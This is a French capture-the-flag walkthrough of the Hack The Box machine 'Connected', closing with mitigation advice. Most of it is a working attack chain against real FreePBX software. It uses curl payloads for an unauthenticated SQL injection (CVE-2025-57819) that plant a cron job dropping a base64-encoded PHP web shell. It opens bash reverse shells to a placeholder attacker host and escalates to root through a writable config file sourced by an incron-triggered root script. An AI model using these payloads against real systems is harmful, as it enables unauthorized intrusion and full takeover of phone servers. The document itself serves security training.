
Cette procédure pas à pas documente le compromis complet de la machine HTB Connected.
Ce walkthrough documente le compromis complet de la machine HTB Connected.
La chaîne d'attaque commence par une injection SQL non authentifiée dans FreePBX, qui est exploitée pour obtenir l'exécution de code en tant qu'utilisateur asterisk via une tâche cron malveillante. Un fichier de configuration inscriptible combiné à un déclencheur incron permet ensuite l'élévation de privilèges vers root.
Ce cas démontre comment les vulnérabilités des applications web, lorsqu'elles sont combinées à des permissions locales faibles et à une automatisation privilégiée non sécurisée, peuvent conduire à un compromis complet du système.
Un scan de ports rapide révèle les ports ouverts de la cible :
nmap -T5 --open <MACHINE_IP>
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Une inspection plus approfondie montre un serveur Apache exécutant PHP 7.4, avec une redirection HTTP vers :
http://connected.htb/
Pour accéder correctement au site, ajoutez le mappage d'hôte virtuel :
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
La navigation vers http://connected.htb/ révèle :
FreePBX 16.0.40.7
La recherche identifie CVE-2025-57819, une vulnérabilité d'injection SQL basée sur les erreurs, non authentifiée, dans le composant Endpoint Manager de FreePBX.
Confirmez la vulnérabilité en extrayant l'utilisateur de la base de données :
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
La réponse contient :
~USER:freepbxuser@localhost~
Cela confirme que l'injection SQL fonctionne et que l'application se connecte à MySQL en tant que :
freepbxuser@localhost
FreePBX stocke les tâches planifiées dans la table cron_jobs.
En injectant une entrée malveillante dans cette table, des commandes arbitraires peuvent être planifiées pour exécution.
La charge utile suivante crée un shell web PHP dans la racine web :
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
Le serveur renvoie une erreur générique 500, mais l'instruction SQL s'exécute avec succès.
Après environ une minute, vérifiez que le shell web a été créé :
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Sortie :
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Nous avons maintenant l'exécution de commandes en tant qu'utilisateur asterisk via des requêtes HTTP.
Démarrez un écouteur Netcat sur la machine attaquante :
nc -lvnp 4444
Déclenchez un shell inversé Bash via le shell web :
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Une connexion est établie :
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Nous avons maintenant un shell interactif en tant qu'utilisateur asterisk.
Recherchez les fichiers inscriptibles sous /etc, en excluant les faux positifs connus :
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Un résultat notable est :
/etc/dahdi/init.conf
Ensuite, examinez la configuration incron :
cat /etc/incron.d/*
Cela révèle le surveillant de système de fichiers suivant :
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Cela signifie que chaque fois que le fichier sentinelle :
/var/spool/asterisk/sysadmin/dahdi_restart
est écrit, le script suivant est exécuté :
/usr/sbin/sysadmin_dahdi_restart
L'inspection du script révèle qu'il source :
/etc/dahdi/init.conf
Puisque /etc/dahdi/init.conf est inscriptible par l'utilisateur asterisk et est sourcé par un processus root, cela fournit un chemin vers l'exécution de commandes arbitraires en tant que root.
Démarrez un second écouteur Netcat sur le port 4445 :
nc -lvnp 4445
Depuis le shell asterisk, ajoutez une charge utile de shell inversé au fichier de configuration inscriptible :
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Déclenchez l'action incron en écrivant dans le fichier surveillé :
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
En quelques secondes, le shell root se connecte :
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Accès root complet obtenu !
cat /home/asterisk/user.txt
Sortie :
HTB{...user_flag...}
cat /root/root.txt
Sortie :
HTB{...root_flag...}
Injection SQL non authentifiée
│
▼
Exécution de requête MySQL
│
▼
Insertion d'une tâche cron malveillante
│
▼
Shell web PHP
│
▼
Shell asterisk
│
▼
/etc/dahdi/init.conf inscriptible
│
▼
Déclencheur incron
│
▼
Exécution de commande root
│
▼
root
| Vulnérabilité | Impact |
|---|---|
| Injection SQL non authentifiée | A exposé le contexte de l'utilisateur de la base et a fourni un point d'appui pour écrire des données malveillantes |
| Injection de tâche cron | A permis l'exécution de code à distance en tant que compte de service à faibles privilèges |
Utilisez des requêtes paramétrées et une validation stricte des entrées pour toutes les opérations de base de données.
Ne concaténez jamais directement les entrées contrôlées par l'utilisateur dans des requêtes SQL.
Les fichiers de configuration consommés par les services privilégiés ne doivent pas être inscriptibles par des comptes de service à faibles privilèges.
En particulier, examinez les permissions des fichiers sous :
/etc/
Auditez régulièrement les tâches planifiées et les surveillants de système de fichiers.
Les tâches privilégiées ne doivent pas exécuter de commandes basées sur des fichiers que des utilisateurs non fiables peuvent modifier.
Les scripts appartenant à root doivent éviter de sourcer des fichiers de configuration qui peuvent être modifiés par des utilisateurs non privilégiés.
Les applications web et les services doivent s'exécuter avec les permissions minimales requises pour leur fonctionnement.
Réduire les privilèges de l'environnement FreePBX/Apache peut considérablement limiter l'impact d'un compromis réussi de l'application.
CVE-2025-57819
│
▼
Injection SQL non authentifiée
│
▼
Manipulation de la table cron_jobs
│
▼
Shell web PHP planifié
│
▼
Utilisateur asterisk
│
▼
/etc/dahdi/init.conf inscriptible
│
▼
Surveillant de fichiers incron
│
▼
Script DAHDI privilégié
│
▼
Shell root
│
▼
🏆 Compromis complet du système
Avertissement : Ce write-up est destiné à des fins éducatives et à des tests de sécurité autorisés, tels que les laboratoires Hack The Box et les environnements contrôlés.
| Fichier de configuration inscriptible + incron | A permis l'élévation directe de privilèges vers root |
| Script privilégié sourçant un fichier inscriptible par l'utilisateur | A permis l'exécution de commandes arbitraires avec les privilèges root |